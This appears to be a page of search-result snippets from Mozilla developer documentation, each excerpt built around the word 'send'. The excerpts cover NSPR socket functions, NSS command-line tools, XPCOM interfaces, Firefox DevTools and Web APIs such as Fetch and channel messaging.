send_buffer_size; prlinger linger; prmcastrequest add_member; prmcastrequest drop_member; prnetaddr mcast_if; } value; } prsocketoptiondata; fields the structure has the following fields: ip_ttl ip time-to-live. mcast_ttl ip multicast time-to-live. tos ip type-of-service and precedence. non_blocking nonblocking (network) i/o. reuse_addr allow local address reuse. ...
...data; fields the structure has the following fields: ip_ttl ip time-to-live. mcast_ttl ip multicast time-to-live. tos ip type-of-service and precedence. non_blocking nonblocking (network) i/o. reuse_addr allow local address reuse. keep_alive periodically test whether connection is still alive. mcast_loopback ip multicast loopback. no_delay disable nagle algorithm. don't delay
send to coalesce packets. max_segment tcp maximum segment size. recv_buffer_size receive buffer size.
send_buffer_size
send buffer size. linger time to linger on close if data are present in socket
send buffer. add_member join an ip multicast group. drop_member leave an ip multicast group. mcast_if ip multicast interface address. description prsocketoptiondata is a name-value pair for...
PR_RecvFrom
timeout a value of type printervaltime specifying the time limit for completion of the receive operation. ...
...prnetaddr *addr, printervaltime timeout); parameters the function has the following parameters: fd a pointer to a prfiledesc object representing a socket. buf a pointer to a buffer containing the data received. amount the size of buf (in bytes). flags this obsolete parameter must always be zero. addr a pointer to the prnetaddr object that will be filled in with the address of the
sending peer on return. timeout a value of type printervaltime specifying the time limit for completion of the receive operation. returns the function returns one of the following values: a positive number indicates the number of bytes actually received. the value 0 means the network connection is closed. the value -1 indicates a failure. the reason for the failure can be obtained by calling...
PR_Shutdown
ified socket. syntax #include <prio.h> prstatus pr_shutdown( prfiledesc *fd, prshutdownhow how); parameters the function has the following parameters: fd a pointer to a prfiledesc object representing a connected socket. how the kind of disallowed operations on the socket. possible values include the following: pr_shutdown_rcv. further receives will be disallowed. pr_shutdown_
send. further
sends will be disallowed. pr_shutdown_both. further
sends and receives will be disallowed. returns the function returns one of the following values: upon successful completion of shutdown request, pr_success. if unsuccessful, pr_failure. further information can be obtained by calling pr_geterror. description the prshutdownhow enumeration is defined as follows: typedef en...
... further
sends and receives will be disallowed. returns the function returns one of the following values: upon successful completion of shutdown request, pr_success. if unsuccessful, pr_failure. further information can be obtained by calling pr_geterror. ...
NSS_3.11.10_release_notes.html
s key identifier bug 385946: can't import certificate into cert database in fips mode (certutil). bug 387892: add entrust root ca certificate(s) to nss bug 396999: pk11_authenticate bug 397478: lock from ssl_initsymwrapkeyslock not freed on selfserv shutdown. bug 397486: session cache locks not freed on strsclnt shutdown. ...
...not freed on strsclnt shutdown. ...
NSPR functions
terror and port_seterror are simply wrappers of pr_geterror and pr_seterror. pr_geterror pr_seterror calendar time nss certificate verification functions take a prtime parameter that specifies the time instant at which the validity of the certificate should verified. the nspr function pr_now returns the current time in prtime. pr_now interval time the nspr socket i/o functions pr_recv and pr_
send (used by the nss ssl functions) take a printervaltime timeout parameter. printervaltime has an abstract, platform-dependent time unit. call pr_secondstointerval or pr_millisecondstointerval to convert a time interval in seconds or milliseconds to printervaltime. pr_secondstointerval pr_millisecondstointerval nspr i/o layering nspr file descriptors can be layered, corresponding to the layers i...
...import a native file descriptor into nspr. ...
NSS tools : cmsutil
-c encrypt a message. -e envelope a message. -o create a certificates-only message. -s sign a message. arguments option arguments modify an action and are lowercase. -c content use this detached content (decode only). -d dbdir specify the key/certificate database directory (default is ".") -e envfile specify a file containing an enveloped message for a set of recipients to which you would like to
send an encrypted message. if this is the first encrypted message for that set of recipients, a new enveloped message will be created that you can then use for future messages (encrypt only). -g include a signing time attribute (sign only). -h num generate email headers with info about cms message (decode only). -i infile use infile as a source of data (default is stdin). -n nickname specify nickname ...
...n with (sign only). -n suppress output of contents (decode only). -o outfile use outfile as a destination of data (default is stdout). -p include an s/mime capabilities attribute. -p password use password as key database password. -r recipient1,recipient2, ... specify list of recipients (email addresses) for an encrypted or enveloped message. for certificates-only message, list of certificates to
send. -t suppress content in cms message (sign only). -u certusage set type of cert usage (default is certusageemailsigner). -y ekprefnick specify an encryption key preference by nickname. usage encrypt example cmsutil -c [-i infile] [-o outfile] [-d dbdir] [-p password] -r "recipient1,recipient2, . . ." -e envfile decode example cmsutil -d [-i infile] [-o outfile] [-d dbdir] [-p password] [-c conten...
NSS Tools certutil
ject signing ". in each category position use zero or more of the following attribute codes: p prohibited (explicitly distrusted) p trusted peer c valid ca t trusted ca to issue client certificates (implies c) c trusted ca to issue server certificates (ssl only) (implies c) u certificate can be used for authentication or signing w
send warning (use with other attributes to include a warning when the certificate is used in that context) the attribute codes for the categories are separated by commas, and the entire set of attributes enclosed by quotation marks. for example: -t "tcu,cu,tuw" use the -l option to see a list of the current certificates and trust attributes in a certificate database. -...
... c,c, verisign class 4 primary ca c,c,c keywitness, canada ca c,c, belsign object publishing ca ,,c bbn certificate services ca root 1 c,c, p prohibited (explicitly distrusted) p trusted peer c valid ca t trusted ca to issue client certs (implies c) c trusted ca to issue server certs(for ssl only) (implies c) u user cert w
send warning creating a certificate request this example generates a binary certificate request file named e95c.req in the specified directory: certutil -r -s "cn=john smith, o=netscape, l=mountain view, st=california, c=us" -p "650-555-8888" -o mycert.req -d certdir before it creates the request file, the certificate database tool prompts you for a password: enter password or pin for "communica...
NSS Tools cmsutil
ions -ddecode a message. -c encrypt a message. -e envelope a message. -o create a certificates-only message. -s sign a message. arguments -c content use this detached content (decode only). -d dbdir specify the key/certificate database directory (default is ".") -e envfile specify a file containing an enveloped message for a set of recipients to which you would like to
send an encrypted message. if this is the first encrypted message for that set of recipients, a new enveloped message will be created that you can then use for future messages (encrypt only). -g include a signing time attribute (sign only). -h num generate email headers with info about cms message (decode only). -i infile use infile as a source of data (default is stdin). -n nickname specify n...
... -n suppress output of contents (decode only). -o outfile use outfile as a destination of data (default is stdout). -p include an s/mime capabilities attribute. -p password use password as key database password. -r recipient1,recipient2, . . . specify list of recipients (email addresses) for an encrypted or enveloped message. for certificates-only message, list of certificates to
send. -t suppress content in cms message (sign only). -u certusage set type of cert usage (default is <tt>certusageemailsigner)</tt>. <-y ekprefnick specify an encryption key preference by nickname. usage cmsutil -c [-i infile] [-o outfile] [-d dbdir] [-p password] -r "recipient1,recipient2, . . ." -e envfile cmsutil -d [-i infile] [-o outfile] [-d dbdir] [-p password] [-c content] [...
NSS tools : cmsutil
-s sign a message. arguments option arguments modify an action and are lowercase. -c content use this detached content (decode only). -d dbdir specify the key/certificate database directory (default is ".") -e envfile specify a file containing an enveloped message for a set of recipients to which you would like to
send an encrypted message. if this is the first encrypted message for that set of recipients, a new enveloped message will be created that you can then use for future messages (encrypt only). -g include a signing time attribute (sign only). -h num generate email headers with info about cms message (decode only). -i infile ...
... use outfile as a destination of data (default is stdout). -p include an s/mime capabilities attribute. -p password use password as key database password. -r recipient1,recipient2, ... specify list of recipients (email addresses) for an encrypted or enveloped message. for certificates-only message, list of certificates to
send. -t suppress content in cms message (sign only). -u certusage set type of cert usage (default is certusageemailsigner). -y ekprefnick specify an encryption key preference by nickname. usage encrypt example cmsutil -c [-i infile] [-o outfile] [-d dbdir] [-p password] -r "recipient1,recipient2, . . ." -e envfile decode example cmsutil -d...
Feed content access API
presents text values in a feed; includes functions that let you fetch the text as plain text or html. nsiscriptableunescapehtml a utility class that unescapes html strings. example: reading a feed from the web it's actually quite easy to read and parse a feed. use an xmlhttprequest to load the feed, then pass its string to an nsifeedprocessor to parse the feed. ...
...however, you could also parse it from a file using parsefromstream(), or directly from an url using parseasync(). the actual processing of...
Observer Notifications
ger null this notification is sent when a message manager disconnects. the subject of the notification is the message manager that disconnected. if you're using a message manager to communicate with a script that may be running in a different process, you might need to know when the message manager has disconnected from the other end of the conversation, so you can stop
sending it messages or expecting to receive messages. for example, suppose you've loaded a frame script into a tab using a browser message manager, and the user closes the tab. the frame script is unloaded and the browser message manager disconnects from it. by listening for message-manager-disconnect you will be informed when this happens. permission manager topic subject data de...
...d" this notification is sent when a permission changes. the subject of the notification is the permission object. context menu topic subject data description content-contextmenu an object containing two properties: event the event that triggered the context menu. addoninfo an empty object that add-ons can use to
send data to the main process. null this notification is sent when the context menu is displayed. it is sent, and received, in the content process: you can't listen to it in the chrome process. it's used by the context-menu module in the add-on sdk, to help
send information to the context-menu code running in the chrome process when a context menu is displayed. ...
mozIAsyncFavicons
ored in memory, but may be expired at any time, so you should make an effort to associate favicon uris with page uris as soon as possible. it's better to not use this function for chrome: icon uris since you can reference the chrome image yourself. getfaviconlinkforicon/page will ignore any associated data if the favicon uri is "chrome:" and just return the same chrome uri. this function does not
send out notifications that the data has changed. pages using this favicons that are visible in history or bookmarks views will keep the old icon until they have been refreshed by other means. void replacefavicondata( in nsiuri afaviconuri, [const,array,size_is(adatalen)] in octet adata, in unsigned long adatalen, in autf8string amimetype, [optional] in prtime aexpiration); parameters ...
...ored in memory, but may be expired at any time, so you should make an effort to associate favicon uris with page uris as soon as possible. it's better to not use this function for chrome: icon uris since you can reference the chrome image yourself. getfaviconlinkforicon/page will ignore any associated data if the favicon uri is "chrome:" and just return the same chrome uri. this function does not
send out notifications that the data has changed. pages using this favicons that are visible in history or bookmarks views will keep the old icon until they have been refreshed by other means. void replacefavicondatafromdataurl( in nsiuri afaviconuri, in astring adataurl, [optional] in prtime aexpiration); parameters afaviconuri uri of the favicon whose data is being set. ...
nsICompositionStringSynthesizer
y nsidomwindowutils.createcompositionstringsynthesizer(). to create an instance for this: var domwindowutils = window.windowutils; var compositionstringsynthesizer = domwindowutils.createcompositionstringsynthesizer(); for example, when you create a composition whose composing string is "foo-bar-buzz" and "bar" is selected to convert, then, first, you need to start composition: domwindowutils.
sendcompositionevent("compositionstart", "", ""); next, dispatch composition string with crause information and caret information (optional): // set new composition string with .setstring(). compositionstringsynthesizer.setstring("foo-bar-buzz"); // set clause information with .appendclause(). compositionstringsynthesizer.appendclause("foo-".length, compositionstringsynthesizer.attr_convertedtext);...
...".length, 0); compositionstringsynthesizer.dispatchevent(); finally, when you commits composition with the last composition string "foo-bar-buzz": // deprecated in 36, first, dispatch commit string without clause information compositionstringsynthesizer.setstring("foo-bar-buzz"); compositionstringsynthesizer.dispatchevent(); // then, dispatch compositionend with the commit string domwindowutils.
sendcompositionevent("compositionend", "foo-bar-buzz", ""); starting gecko 36, you can do it simpler: domwindowutils.
sendcompositionevent("compositioncommitasis", "", ""); if you need to commit composition with different commit string gecko 36 or later, you can use "compositioncommit": domwindowutils.
sendcompositionevent("compositioncommit", "foo-bar-buzz", ""); method overview void ...
nsIContentFrameMessageManager
idl file: mozilla-central/source/dom/base/nsimessagemanager.idl inherits from: nsisyncmessage
sender this interface provides the environment for scripts that are loaded into content frames using the nsiframescriptloader interface. it enables these scripts to receive messages from the chrome process and
send messages back to the chrome process. frame scripts can
send either synchronous or asynchronous messages to the chrome process: for details on these messaging apis see the documentation for the nsicontentframemessagemanager's parent classes nsisyncmessage
sender and nsimessage
sender. methods void dump(in domstring astr); domstring atob(in domstring aasciistring); domstring btoa(in domstring abase64data); dump() prints the specified string to st...
... name type description abase64data string binary data to encode as base64. returns string: the base64-encoded ascii string. attributes content nsidomwindow: the current top level window in the frame or null. read only. docshell nsidocshell: the top level docshell or null. read only. examples once you obtain the conten frame messge manager, you can
send messages to listeners who registered with services.mm.addmessagelistener get content message manager from browser this could would run in a nsidomwindow scope. var acfmm = gbrowser.selectedbrowser._docshell.queryinterface(ci.nsiinterfacerequestor).getinterface(ci.nsicontentframemessagemanager); get content message manager from content window window here is a html window or any window inside ...
nsIDeviceMotion
the nsidevicemotionlistener object whose nsidevicemotionlistener.onaccelerationchange() method should be called with updated acceleration data. native code only!addwindowlistener sets the nsiaccelerometer as the source for mozorientation events on the specified dom window. void addwindowlistener( in nsidomwindow awindow ); parameters awindow the dom window that the accelerometer should begin
sending mozorientation events to. removelistener() tells the accelerometer to stop
sending updates to the specified nsidevicemotionlistener. void removelistener( in nsidevicemotionlistener alistener ); parameters alistener the nsidevicemotionlistener object to which no further updates should be sent. native code only!removewindowlistener removes the nsiaccelerometer as the source for mozorientat...
...devicemotionlistener alistener ); parameters alistener the nsidevicemotionlistener object to which no further updates should be sent. native code only!removewindowlistener removes the nsiaccelerometer as the source for mozorientation events on the specified dom window. void removewindowlistener( in nsidomwindow awindow ); parameters awindow the dom window that the accelerometer should stop
sending mozorientation events to. see also mozorientation nsidomorientationevent nsidevicemotiondata nsidevicemotionlistener ...
nsIHttpActivityObserver
lity and should not be used. constants activity type constants constant value description activity_type_socket_transport 0x0001 socket transport activity has occurred. activity_type_http_transaction 0x0002 http transport activity has occurred. activity subtype constants constant value description activity_subtype_request_header 0x5001 the http request is about to be queued for
sending. observers can look at request headers in aextrastringdata activity_subtype_request_body_sent 0x5002 the http request's body has been sent. activity_subtype_response_start 0x5003 the http response has started to arrive. activity_subtype_response_header 0x5004 the http response header has arrived. activity_subtype_response_complete 0x5005 the complete http response has been received. ...
...xtrastringdata any additional string data available with this activity. see interpreting activity data below. interpreting activity data depending on the values of the aactivitytype and aactivitysubtype fields, the aextrasizedata and aextrastringdata parameters take on different meanings. socket transport activity when the activity type is activity_type_socket_transport and the subtype is status_
sending_to, the aextrasizedata parameter contains the number of bytes sent. because a single http transaction may consist of multiple chunks of data transmitted through separate socket writes, each socket activity notification will only reflect the number of bytes transmitted in that chunk. http transaction activity for activity notifications of type activity_type_http_transaction, there are three act...
nsIMsgCompFields
hasrecipients prbool readonly new in thunderbird 23 indicates whether something is filled in in the to, cc, or bcc attribute. (bug 68784) messageid char * needtocheckcharset prbool indicates whether we need to check if the current documentcharset can represent all the characters in the message body. it should be initialized to true and set to false when '
send anyway' is selected by a user. (bug 249530) newsgroups astring newshost char * newsposturl char * organization astring otherrandomheaders astring no longer exists - see https://groups.google.com/forum/#!topic/mozilla.dev.apps.thunderbird/s4ofmm8_b28 priority char * receiptheadertype pri...
...veattachments ( ); header methods void setheader(char* name, char* value); references this interface is the type of the following properties: nsimsgcompose.compfields, nsimsgcomposeparams.composefields this interface is passed as an argument to the following methods: nsimsgcomposesecure.begincryptoencapsulation, nsimsgcomposesecure.requirescryptoencapsulation, nsimsg
send.createand
sendmessage, nsimsg
send.
sendmessagefile, nsismimejshelper.getnocertaddresses, nsismimejshelper.getrecipientcertsinfo ...
nsIProcessScriptLoader
if this function is called on a chromemessagebroadcaster, : it will load the process script into all child processes. if aallowdelayedload is true, then the script will also be loaded into any new child processes created after the loadprocessscript() call. otherwise it will only be loaded into child processes that exist at the time of the call. if this function is called on a chromemessage
sender: it will load the process script only into this chromemessage
sender's child process aallowdelayedload should always be true. it's possible that the child process for this chromemessage
sender is not yet available at the time of the loadprocessscript() call, and if you pass false in this situation, your process script won't be loaded. for example: let ppmm = services.ppmm.getchildat(1); pp...
... if this flag is false, the process script will only be loaded into child processes that are already running at the time of the call. if this flag is true, the process script will be loaded into any new child processes created after the loadprocessscript() call, until removedelayedprocessscript() is called for that script. if you are calling loadprocessscript() on a chromemessage
sender, you should always pass true here. removedelayedprocessscript() removes aurl from the list of scripts which support delayed load. this cancels the effect of the aallowdelayedload flag, meaning that the loader will no longer load the script into new child processes. if you used aallowdelayedload, you should call this as part of your cleanup (for example, when your add-on is disabled...
nsIRequest
prevent proxy authentications from working, so use this flag with caution. methods cancel() cancels the current request. this will close any open input or output streams and terminate any async requests. users should normally pass ns_binding_aborted, although other errors may also be passed. the error passed in will become the value of the status attribute. implementations must not
send any notifications (for example via nsirequestobserver) synchronously from this function. similarly, removal from the load group (if any) must also happen asynchronously. requests that use nsistreamlistener must not call ondataavailable anymore after cancel has been called. note: most nsirequest implementations expect astatus to be a failure code; however, some implementations may allow astatus ...
...port and will resume the delivery of data to any open streams. void resume(); parameters none. suspend() suspends the current request. this may have the effect of closing any underlying transport (in order to free up resources), although any open streams remain logically opened and will continue delivering data when the transport is resumed. calling cancel() on a suspended request must not
send any notifications (such as onstoprequest) until the request is resumed. note: some implementations are unable to immediately suspend, and may continue to deliver events already posted to an event queue. in general, callers should be capable of handling events even after suspending a request. void suspend(); parameters none. ...
nsISmsRequestManager
constant value description success_no_error 0 no_signal_error 1 not_found_error 2 unknown_error 3 internal_error 4 methods addrequest() track an already existing request object. l...
...d( in long arequestid, in bool adeleted ); parameters arequestid a number representing the id of the request. adeleted a boolean indictating whether the sms is deleted. notifysmsdeletefailed() void notifysmsdeletefailed( in long arequestid, in long aerror ); parameters arequestid a number representing the id of the request. aerror a number with an error code. see constants. notifysms
sendfailed() void notifysms
sendfailed( in long arequestid, in long aerror ); parameters arequestid a number representing the id of the request. aerror a number with an error code. see constants. notifysmssent() void notifysmssent( in long arequestid, in nsidommozsmsmessage amessage ); parameters arequestid a number representing the id of the request. amessage an smsmessage. see also sms...
nsISocketTransport
constant value description status_resolving 0x804b0003 transport is resolving the host. usually a dns lookup. status_resolved 0x804b000b transport has resolved the host. ...
...iption bypass_cache 0 when making a new connection bypass_cache will force the necko dns cache entry to be refreshed with a new call to nspr if it is set before opening the new stream. anonymous_connect 1 when this flag is set, the socket will not apply any credentials when establishing a connection. for example, an ssl connection would not
send any client-certificates if this flag is set. disable_ipv6 2 when this flag is set, the socket will ignore any ipv6 addresses the host may offer and will only attempt to connect to ipv4 addresses. methods native code only!getpeeraddr returns the ip address of the socket connection peer. this attribute is defined only once a connection has been established. pr...
nsIXMLHttpRequest
nless you're aware of all the security implications. and then think twice about it. ...
...url, true); xhr.channel.loadflags |= ci.nsirequest.load_anonymous | ci.nsirequest.load_bypass_cache | ci.nsirequest.inhibit_persistent_caching; xhr.responsetype = "arraybuffer"; //dont set it, so it returns string, you dont want arraybuffer. ...
XPCOM Interface Reference by grouping
editabletext nsiaccessibleevent nsiaccessiblehyperlink nsiaccessiblehypertext nsiaccessibleimage nsiaccessibleprovider nsiaccessibleretrieval nsiaccessiblerole nsiaccessiblescrolltype nsiaccessibleselectable nsiaccessiblestates nsiaccessibletable nsiaccessibletext nsiaccessibletreecache nsiaccessiblevalue nsiaccessnode nsisyncmessage
sender script nsiscriptableunescapehtml nsiscriptableunicodeconverter nsiscripterror nsiscripterror2 stylesheet nsistylesheetservice url nsiuri nsiurl util nsidomserializer nsidomxpathevaluator nsidomxpathexception nsidomxpathexpression nsidomxpathresult xslt nsixsltexception nsixsltprocessor download ...
...untmanagerextension element nsieditormailsupport message nsidbchangeannouncer nsidbchangelistener nsimessenger nsimsgcompfields nsimsgcustomcolumnhandler nsimsgdatabase nsimsgdbhdr nsimsgdbview nsimsgdbviewcommandupdater nsimsgfolder nsimsgidentity nsimsgmessageservice nsimsg
sendlater nsimsgthread nsimsgwindow nsimsgwindowcommands user history nsibrowserhistory nsibrowsersearchservice nsimicrosummary nsimicrosummarygenerator nsimicrosummaryobserver nsimicrosummaryservice nsimicrosummaryset ...
Mail client architecture overview
odule provides a generic interface to a set of protocol-independant messaging services. this includes management of accounts, folders and messages. the base module consists of the following basic building blocks account management - the account manager is the root object of the server/folder/message hierarchy. it manages individual accounts on mail servers and the identity of users as used to
send mail. folders - mail folders contain messages and folders. all folders have folder indexes. messages - messages are always stored and streamed in rfc822 format. whenever multiple messages are stored in one file, the berkeley mailbox format is used. datasources - datasources are the glue code that reflect mail data such as folders and messages into rdf. rdf will use the datasource to create use...
...ssages, and so forth. msgdb - a message database for a given folder is a summary of some of the key attributes in a folder such as the author and subject. finally, there are larger modules outside of the mail client that are mail-oriented. most of these modules have little dependancy on the mail reader itself: compose - the mail compose module is responsible for anything that has to do with
sending mail. this includes the mail compose window, creation of rfc822 messages from the data a user has entered, and
sending the messages via smtp. address book - the address book contains lists of people and all attributes associated with them such as their e-mail address, phone number, etc. ...
Gecko Plugin API Reference - Plugins
display modes using the object element for plug-in display nesting rules for html elements using the appropriate attributes using the embed element for plug-in display using custom embed attributes plug-in references plug-in development overview writing plug-ins registering plug-ins ms windows unix mac os x drawing a plug-in instance handling memory
sending and receiving streams working with urls getting version and ui information displaying messages on the status line making plug-ins scriptable building plug-ins building, platforms, and compilers building carbonized plug-ins for mac os x type libraries installing plug-ins native installers xpi plug-ins installations plug-in installation and the windows regis...
...e drawing area forcing a paint message making a plug-in opaque making a plug-in transparent creating pop-up menus and dialog boxes event handling for windowless plug-ins streams receiving a stream telling the plug-in when a stream is created telling the plug-in when a stream is deleted finding out how much data the plug-in can accept writing the stream to the plug-in
sending the stream in random-access mode
sending the stream in file mode
sending a stream creating a stream pushing data into the stream deleting the stream example of
sending a stream urls getting urls getting the url and displaying the page posting urls posting data to an http server uploading files to an ftp server
sending mail memory allocating and fre...
Browser Console - Firefox Developer Tools
console focused on the same page as above after clicking on the show content messages checkbox. browser console logging the browser console logs the same sorts of messages as the web console: http requests warnings and errors (including javascript, css, security warnings and errors, and messages explicitly logged by javascript code using the console api). input/output messages: commands
send to the browser via the command line, and the result of executing them. however, it displays such messages from: web content hosted by all browser tabs the browser's own code add-ons. messages from add-ons the browser console displays messages logged by all firefox add-ons. console.jsm to use the console api from a traditional or bootstrapped add-on, get it from the console module. on...
...and windows and changing the content that they host, and modify the browser's ui by creating, changing and removing xul elements. controlling the browser the command line interpreter gets access to the tabbrowser object, through the gbrowser global, and that enables you to control the browser through the command line. ...
Network request details - Firefox Developer Tools
e value of the referrer-policy header. http response headers http request headers each section has a disclosure triangle to expand the section to show more information. headers toolbar using the headers toolbar, you can: filter the headers in the response headers and request headers sections. block the domain involved in this request. the domain is added to the blocking sidebar. re
send the request. the re
send button opens a menu with two items: re
send: simply re
sends the request. edit and re
send: enables an editing mode, where you can modify the method, url, request headers, or request body of the request. click
send to
send the modified request, or cancel to cancel editing. request information the following information is shown only when the section is expande...
...at can be made to a single server. in firefox this defaults to 6, but can be changed using the network.http.max-persistent-connections-per-server preference. if all connections are in use, the browser can't download more resources until a connection is released. dns resolution time taken to resolve a host name. connecting time taken to create a tcp connection.
sending time taken to
send the http request to the server. waiting waiting for a response from the server. receiving time taken to read the entire response from the server (or cache). server timing new in firefox 71, the server timing section lists any information provided in the server-timing header — this is used to surface any backend server timing metrics you'v...
Intensive JavaScript - Firefox Developer Tools
then we need a new file "calculate.js", that looks like this: self.addeventlistener("message", go); function go(message) { var iterations = message.data.iterations; var multiplier = message.data.multiplier; primes = calculateprimes(iterations, multiplier); se...
...the code that actually performs the computations is exactly the same as the original code. so how does this version perform? switch the radio button to "use a worker", and capture a new profile. you should see something like this: in this profile we pushed the button three times. compared with the original, each button-press is visible in the overview a...
Waterfall - Firefox Developer Tools
ow the "async stack". timestamp a single call to console.timestamp(). label the argument passed to timestamp(). domcontentloaded the document's domcontentloaded event. load the document's load event. worker event in main thread shown when the main thread
sends a message to a worker, or receives a message from a worker. one of: serialize data on the main thread the main thread is serializing a message to be sent to the worker. deserialize data on the main thread the main thread is deserializing a message received from the worker. worker event in worker thread shown when a worker rece...
...essage from a worker. one of: serialize data on the main thread the main thread is serializing a message to be sent to the worker. deserialize data on the main thread the main thread is deserializing a message received from the worker. worker event in worker thread shown when a worker receives a message from the main thread, or
sends a message to the main thread. one of: serialize data in worker the worker is serializing a message to be sent to the main thread. deserialize data in worker the worker is deserializing a message received from the main thread. the markers, and their colors, are the same in the waterfall tool as in the waterfall overview, making is easy to ...
about:debugging - Firefox Developer Tools
in a new tab. see the page on the add-on debugger for all the things you can do with this tool. workers the workers section shows all the workers you've got registered on your firefox, categorised as follows: all registered service workers all registered shared workers other workers, including chrome workers and dedicated workers you can connect the developer tools to each worker, and
send push notifications to service workers. service worker state the list of service workers shows the state of the service worker in its lifecycle. three states are possible: registering: this covers all states between the service worker's initial registration, and its assuming control of pages. that is, it subsumes the installing, activating, and waiting states. running: the service worker i...
...erminated after being idle. this section uses a simple serviceworker demo, hosted at https://serviceworke.rs/push-simple/. note: from firefox 79 onwards, you can access similar information on the service workers registered on a particular domain by going to the firefox devtools application panel. unregistering service workers click the unregister button to unregister the service worker.
sending push events to service workers to debug push notifications, you can set a breakpoint in the push event listener. however, you can also debug push notifications locally, without needing the server. click the push button to
send a push event to the service worker. service workers not compatible a warning message is displayed at the top of the this firefox tab if service workers are incompati...
AddressErrors - Web APIs
ymentdetails }; } ev.updatewith(updatedetails); } see handling address changes for a description of how this code works. complete example here we'll see a complete, working version of the example above (except of course that it's not connected to an actual payment handler, so no payments are actually processed). in the example, we're handling a donation to an organization that will be
sending a "thank you" gift to the donor, so it requests shipping information along with allowing the donation payment itself. javascript payment request data first, we declare the variables supportedhandlers, which is compatible with paymentmethoddata, and defaultpaymentdetails, which is a paymentdetailsupdate object. let supportedhandlers = [ { supportedmethods: "basic-card", data: { ...
...ndler to the "donate now" button so that clicking it starts the payment process. window.addeventlistener("load", function(ev) { document.getelementbyid("pay").addeventlistener("click", process, false); }, false); see addeventlistener() for information about event handlers and how they work. html here's the simple html for this example. <p>donate us $65 to our worthwhile cause and we will
send you a totally not-useless gift as a token of our thanks!</p> <button id="pay">donate now</button> result the final product is below. note: if you have content blocking features enabled in your browser, the example may not work inline below. in that case, you can view the example on its own page. specifications specification status comment payment request apithe de...
AudioBufferSourceNode.playbackRate - Web APIs
-rate audioparam that defines the speed at which the audio asset will be played. a value of 1.0 indicates it should play at the same speed as its sampling rate, values less than 1.0 cause the sound to play more slowly, while values greater than 1.0 result in audio playing faster than normal. the default value is 1.0. when set to another value, the audiobuffersourcenode resamples the audio before
sending it to the output. syntax audiobuffersourcenode.playbackrate.value = playbackrateproportion; value an audioparam whose value is a floating-point value indicating the playback rate of the audio as a decimal proportion of the original sampling rate. consider a sound buffer containing audio sampled at 44.1 khz (44,100 samples per second). let's see what a few values of playbackrate do: a...
...load = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; source.playbackrate.value = playbackcontrol.value; source.connect(audioctx.destination); source.loop = true; }, function(e){"error with decoding audio data" + e.err}); } request.
send(); } // wire up buttons to stop and play audio, and range slider control play.onclick = function() { getdata(); source.start(0); play.setattribute('disabled', 'disabled'); playbackcontrol.removeattribute('disabled'); } stop.onclick = function() { source.stop(0); play.removeattribute('disabled'); playbackcontrol.setattribute('disabled', 'disabled'); } playbackcontrol.oninput = fu...
Using channel messaging - Web APIs
of the spec is a useful read. simple examples to get your started, we have published a couple of demos on github. first up, check out our channel messaging basic demo (run it live too), which shows a really simple single message transfer between a page and an embedded <iframe>. secondly, have a look at our multimessaging demo (run this live), which shows a slightly more complex setup that can
send multiple messages between the main page and an iframe. we'll be focusing on the latter example in this article. it looks like so: creating the channel in the main page of the demo, we have a simple form with a text input for entering messages to be sent to an <iframe>. we also have a paragraph which we will use later on to display confirmation messages that we will receive back from the <ifr...
...g but in this example it is set to 'init'. the origin the message is to be sent to. * means "any origin". an object, the ownership of which is transferred to the receiving browsing context. in this case, we are transferring messagechannel.port2 to the iframe, so it can be used to communicate with the main page. when our button is clicked, we prevent the form from submitting as normal and then
send the value entered in our text input to the iframe via the messagechannel. receiving the port and message in the iframe over in the iframe, we have the following javascript: var list = document.queryselector('ul'); var port2; // listen for the initial port transfer message window.addeventlistener('message', initport); // setup the transferred port function initport(e) { port2 = e.ports[0]; ...
DedicatedWorkerGlobalScope: message event - Web APIs
the message event is fired on a dedicatedworkerglobalscope object when the worker receives a message from its parent (i.e. when the parent
sends a message using worker.postmessage()). ...
... the message event is fired on a dedicatedworkerglobalscope object when the worker receives a message from its parent (i.e. when the parent
sends a message using worker.postmessage()). ...
Document.cookie - Web APIs
ying on the browser to do it. many browsers let users specify that cookies should never expire, which is not necessarily safe. see date.toutcstring() for help formatting this value. ;secure cookie to only be transmitted over secure protocol as https. before chrome 52, this flag could appear with cookies from http domains. ;samesite samesite prevents the browser from
sending this cookie along with cross-site requests. possible values are lax, strict or none. the lax value value will
send the cookie for all same-site requests and top-level navigation get requests. this is sufficient for user tracking, but it will prevent many csrf attacks. this is the default value in modern browsers. the strict value will prevent the cookie from being sent by the br...
... obsolete initial definitio...
Using Fetch - Web APIs
error status even if the response is an http 404 or 500. instead, it will resolve normally (with ok status set to false), and it will only reject on network failure or if anything prevented the request from completing. fetch() won't can receive cross-site cookies; you can’t can establish a cross site session using fetch. set-cookie headers from other sites are silently ignored. fetch won’t
send cookies, unless you set the credentials init option. (since aug 25, 2017. the spec changed the default credentials policy to same-origin. firefox changed since 61.0b13.) a basic fetch request is really simple to set up. have a look at the following code: fetch('http://example.com/movies.json') .then(response => response.json()) .then(data => console.log(data)); here we are fetching a jso...
...ative javascript objects } postdata('https://example.com/answer', { answer: 42 }) .then(data => { console.log(data); // json data parsed by `data.json()` call }); note that mode: "no-cors" only allows a limited set of headers in the request: accept accept-language content-language content-type with a value of application/x-www-form-urlencoded, multipart/form-data, or text/plain
sending a request with credentials included to cause browsers to
send a request with credentials included, even for a cross-origin call, add credentials: 'include' to the init object you pass to the fetch() method. fetch('https://example.com', { credentials: 'include' }); if you only want to
send credentials if the request url is on the same origin as the calling script, add credentials: 'same-o...
Introduction to the File and Directory Entries API - Web APIs
ons of the api offer the same capabilities and features. in fact, they are almost alike, except for a few differences. webworkers. the asynchronous api can be used in either the document or webworkers context, while the synchronous api is for use with webworkers only. callbacks. the asynchronous api doesn't give you data by returning values; instead, you have to pass a callback function. you
send requests for operations to happen, and get notified by callbacks. in contrast, the synchronous api does not use callbacks because the api methods return values. global methods of the asynchronous and synchronous apis. the asynchronous api has the following global methods: requestfilesystem() and resolvelocalfilesystemurl(). these methods are members of both the window object and the worker globa...
... you want to know why your calls failed. at minimum, handle the errors to provide error messages, so you'll have an idea of what's going on. the file and directory entries api interacts with other apis the file and directory entries api is designed to be used with other apis and elements on the web platform. for example, you are likely to use one of the following: xmlhttprequest (such as the
send() method for file and blob objects) drag and drop api web workers (for the synchronous version of the file and directory entries api) the input element (to programmatically obtain a list of files from the element) the file and directory entries api is case sensitive the filesystem api is case-sensitive, and case-preserving. restrictions for security reasons, browsers impose restrictions ...
Guide to the Fullscreen API - Web APIs
